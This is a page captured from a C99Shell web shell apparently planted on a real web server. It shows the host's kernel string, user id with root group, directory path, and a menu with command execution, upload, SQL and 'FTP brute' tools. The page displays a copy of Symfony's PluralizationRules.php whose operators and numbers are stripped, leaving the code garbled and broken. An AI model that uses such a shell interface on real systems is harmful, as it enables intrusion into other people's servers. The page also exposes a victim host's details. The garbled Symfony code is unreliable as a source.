!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html_v3_3/backup/vendor/symfony/translation/   drwxr-xr-x
Free 25.08 GB of 117.98 GB (21.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PluralizationRules.php (6.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation;

/**
 * Returns the plural rules for a given locale.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @deprecated since Symfony 4.2, use IdentityTranslator instead
 */
class PluralizationRules
{
    private static 
$rules = [];

    
/**
     * Returns the plural position to use for the given locale and number.
     *
     * @param float  $number The number
     * @param string $locale The locale
     *
     * @return int The plural position
     */
    
public static function get($number$locale/*, bool $triggerDeprecation = true*/)
    {
        
$number abs($number);

        if (
\func_num_args() || func_get_arg(2)) {
            @
trigger_error(sprintf('The "%s" class is deprecated since Symfony 4.2.'__CLASS__), \E_USER_DEPRECATED);
        }

        if (
'pt_BR' === $locale) {
            
// temporary set a locale for brazilian
            
$locale 'xbr';
        }

        if (
\strlen($locale) > 3) {
            
$locale substr($locale0, -\strlen(strrchr($locale'_')));
        }

        if (isset(
self::$rules[$locale])) {
            
$return self::$rules[$locale]($number);

            if (!
\is_int($return) || $return 0) {
                return 
0;
            }

            return 
$return;
        }

        
/*
         * The plural rules are derived from code of the Zend Framework (2010-09-25),
         * which is subject to the new BSD license (http://framework.zend.com/license/new-bsd).
         * Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
         */
        
switch ($locale) {
            case 
'az':
            case 
'bo':
            case 
'dz':
            case 
'id':
            case 
'ja':
            case 
'jv':
            case 
'ka':
            case 
'km':
            case 
'kn':
            case 
'ko':
            case 
'ms':
            case 
'th':
            case 
'tr':
            case 
'vi':
            case 
'zh':
                return 
0;

            case 
'af':
            case 
'bn':
            case 
'bg':
            case 
'ca':
            case 
'da':
            case 
'de':
            case 
'el':
            case 
'en':
            case 
'eo':
            case 
'es':
            case 
'et':
            case 
'eu':
            case 
'fa':
            case 
'fi':
            case 
'fo':
            case 
'fur':
            case 
'fy':
            case 
'gl':
            case 
'gu':
            case 
'ha':
            case 
'he':
            case 
'hu':
            case 
'is':
            case 
'it':
            case 
'ku':
            case 
'lb':
            case 
'ml':
            case 
'mn':
            case 
'mr':
            case 
'nah':
            case 
'nb':
            case 
'ne':
            case 
'nl':
            case 
'nn':
            case 
'no':
            case 
'oc':
            case 
'om':
            case 
'or':
            case 
'pa':
            case 
'pap':
            case 
'ps':
            case 
'pt':
            case 
'so':
            case 
'sq':
            case 
'sv':
            case 
'sw':
            case 
'ta':
            case 
'te':
            case 
'tk':
            case 
'ur':
            case 
'zu':
                return (
== $number) ? 1;

            case 
'am':
            case 
'bh':
            case 
'fil':
            case 
'fr':
            case 
'gun':
            case 
'hi':
            case 
'hy':
            case 
'ln':
            case 
'mg':
            case 
'nso':
            case 
'xbr':
            case 
'ti':
            case 
'wa':
                return (
$number 2) ? 1;

            case 
'be':
            case 
'bs':
            case 
'hr':
            case 
'ru':
            case 
'sh':
            case 
'sr':
            case 
'uk':
                return ((
== $number 10) && (11 != $number 100)) ? : ((($number 10 >= 2) && ($number 10 <= 4) && (($number 100 10) || ($number 100 >= 20))) ? 2);

            case 
'cs':
            case 
'sk':
                return (
== $number) ? : ((($number >= 2) && ($number <= 4)) ? 2);

            case 
'ga':
                return (
== $number) ? : ((== $number) ? 2);

            case 
'lt':
                return ((
== $number 10) && (11 != $number 100)) ? : ((($number 10 >= 2) && (($number 100 10) || ($number 100 >= 20))) ? 2);

            case 
'sl':
                return (
== $number 100) ? : ((== $number 100) ? : (((== $number 100) || (== $number 100)) ? 3));

            case 
'mk':
                return (
== $number 10) ? 1;

            case 
'mt':
                return (
== $number) ? : (((== $number) || (($number 100 1) && ($number 100 11))) ? : ((($number 100 10) && ($number 100 20)) ? 3));

            case 
'lv':
                return (
== $number) ? : (((== $number 10) && (11 != $number 100)) ? 2);

            case 
'pl':
                return (
== $number) ? : ((($number 10 >= 2) && ($number 10 <= 4) && (($number 100 12) || ($number 100 14))) ? 2);

            case 
'cy':
                return (
== $number) ? : ((== $number) ? : (((== $number) || (11 == $number)) ? 3));

            case 
'ro':
                return (
== $number) ? : (((== $number) || (($number 100 0) && ($number 100 20))) ? 2);

            case 
'ar':
                return (
== $number) ? : ((== $number) ? : ((== $number) ? : ((($number 100 >= 3) && ($number 100 <= 10)) ? : ((($number 100 >= 11) && ($number 100 <= 99)) ? 5))));

            default:
                return 
0;
        }
    }

    
/**
     * Overrides the default plural rule for a given locale.
     *
     * @param callable $rule   A PHP callable
     * @param string   $locale The locale
     */
    
public static function set(callable $rule$locale)
    {
        @
trigger_error(sprintf('The "%s" class is deprecated since Symfony 4.2.'__CLASS__), \E_USER_DEPRECATED);

        if (
'pt_BR' === $locale) {
            
// temporary set a locale for brazilian
            
$locale 'xbr';
        }

        if (
\strlen($locale) > 3) {
            
$locale substr($locale0, -\strlen(strrchr($locale'_')));
        }

        
self::$rules[$locale] = $rule;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--